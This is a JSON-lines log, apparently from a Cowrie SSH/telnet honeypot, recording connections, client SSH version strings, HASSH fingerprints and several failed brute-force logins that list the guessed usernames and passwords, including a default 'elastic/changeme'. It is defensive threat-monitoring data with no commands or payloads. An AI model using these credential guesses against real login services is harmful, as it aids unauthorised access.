{"eventid":"cowrie.session.closed","duration":32.21781826019287,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:49.078610Z","src_ip":"24.199.85.165","session":"1c94496aff07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":46127,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba4d1b7206d9","protocol":"ssh","message":"New connection: 121.122.119.48:46127 (159.203.135.109:22) [session: ba4d1b7206d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:59.952516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:59.957474Z","src_ip":"121.122.119.48","session":"ba4d1b7206d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:00.189713Z","src_ip":"121.122.119.48","session":"ba4d1b7206d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.868951082229614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:00.600994Z","src_ip":"24.199.85.165","session":"b2479b2a8ef1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd@123321","message":"login attempt [root/Asd@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:01.153340Z","src_ip":"121.122.119.48","session":"ba4d1b7206d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:02.392141Z","src_ip":"121.122.119.48","session":"ba4d1b7206d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":23956,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b4e15e79fe","protocol":"ssh","message":"New connection: 193.24.211.95:23956 (159.203.135.109:22) [session: d0b4e15e79fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:32.482682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:32.487938Z","src_ip":"193.24.211.95","session":"d0b4e15e79fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:32.598181Z","src_ip":"193.24.211.95","session":"d0b4e15e79fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root654321","message":"login attempt [root/root654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:33.053545Z","src_ip":"193.24.211.95","session":"d0b4e15e79fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:00:34.166087Z","src_ip":"193.24.211.95","session":"d0b4e15e79fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00262713432312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:00.135462Z","src_ip":"78.162.129.104","session":"f20b4b0ee4a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":55053,"dst_ip":"159.203.135.109","dst_port":22,"session":"128e7d014122","protocol":"ssh","message":"New connection: 121.122.119.48:55053 (159.203.135.109:22) [session: 128e7d014122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:00.462250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:00.469506Z","src_ip":"121.122.119.48","session":"128e7d014122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:00.720976Z","src_ip":"121.122.119.48","session":"128e7d014122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":48018,"dst_ip":"10.17.0.5","dst_port":23,"session":"9717c65608a9","protocol":"telnet","message":"New connection: 78.162.129.104:48018 (10.17.0.5:23) [session: 9717c65608a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:00.874567Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":48074,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ef73497741","protocol":"telnet","message":"New connection: 78.162.129.104:48074 (10.17.0.5:23) [session: d5ef73497741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:01.208357Z"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"changeme","message":"login attempt [elastic/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:01.730511Z","src_ip":"121.122.119.48","session":"128e7d014122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"9210f2c8efae","protocol":"telnet","message":"New connection: 78.162.129.104:48154 (10.17.0.5:23) [session: 9210f2c8efae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:02.527185Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:02.979457Z","src_ip":"121.122.119.48","session":"128e7d014122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.8137221336364746,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:04.021934Z","src_ip":"78.162.129.104","session":"d5ef73497741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4477856159210205,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:04.974840Z","src_ip":"78.162.129.104","session":"9210f2c8efae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.199.51.115","src_port":53304,"dst_ip":"10.17.0.5","dst_port":23,"session":"3859b8a3bd2b","protocol":"telnet","message":"New connection: 82.199.51.115:53304 (10.17.0.5:23) [session: 3859b8a3bd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:30.191616Z"}
{"eventid":"cowrie.session.closed","duration":13.300366401672363,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:01:43.491830Z","src_ip":"82.199.51.115","session":"3859b8a3bd2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":35748,"dst_ip":"159.203.135.109","dst_port":22,"session":"08a355613869","protocol":"ssh","message":"New connection: 121.122.119.48:35748 (159.203.135.109:22) [session: 08a355613869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:01.730860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:01.736118Z","src_ip":"121.122.119.48","session":"08a355613869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:01.975936Z","src_ip":"121.122.119.48","session":"08a355613869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masoud","message":"login attempt [root/masoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:02.964804Z","src_ip":"121.122.119.48","session":"08a355613869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:04.209078Z","src_ip":"121.122.119.48","session":"08a355613869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":34672,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f6b4453631","protocol":"ssh","message":"New connection: 114.141.59.195:34672 (159.203.135.109:22) [session: d5f6b4453631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:21.161885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:21.167524Z","src_ip":"114.141.59.195","session":"d5f6b4453631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:21.413359Z","src_ip":"114.141.59.195","session":"d5f6b4453631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.83.114.88","src_port":57770,"dst_ip":"159.203.135.109","dst_port":22,"session":"66124d63f6bf","protocol":"ssh","message":"New connection: 223.83.114.88:57770 (159.203.135.109:22) [session: 66124d63f6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:21.423125Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"p","message":"login attempt [test/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:22.425729Z","src_ip":"114.141.59.195","session":"d5f6b4453631","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:22.610534Z","src_ip":"223.83.114.88","session":"66124d63f6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:23.676029Z","src_ip":"114.141.59.195","session":"d5f6b4453631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":49982,"dst_ip":"159.203.135.109","dst_port":22,"session":"4064ba754434","protocol":"ssh","message":"New connection: 191.255.52.36:49982 (159.203.135.109:22) [session: 4064ba754434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:56.274202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:56.327880Z","src_ip":"191.255.52.36","session":"4064ba754434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:56.465495Z","src_ip":"191.255.52.36","session":"4064ba754434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qw123","message":"login attempt [root/123qw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:57.037767Z","src_ip":"191.255.52.36","session":"4064ba754434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":63618,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b7b78c18d6","protocol":"ssh","message":"New connection: 45.148.10.151:63618 (10.17.0.5:22) [session: 68b7b78c18d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:57.527814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:57.533131Z","src_ip":"45.148.10.151","session":"68b7b78c18d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:57.621491Z","src_ip":"45.148.10.151","session":"68b7b78c18d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:57.993448Z","src_ip":"45.148.10.151","session":"68b7b78c18d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:02:58.180319Z","src_ip":"191.255.52.36","session":"4064ba754434","protocol":"ssh"}
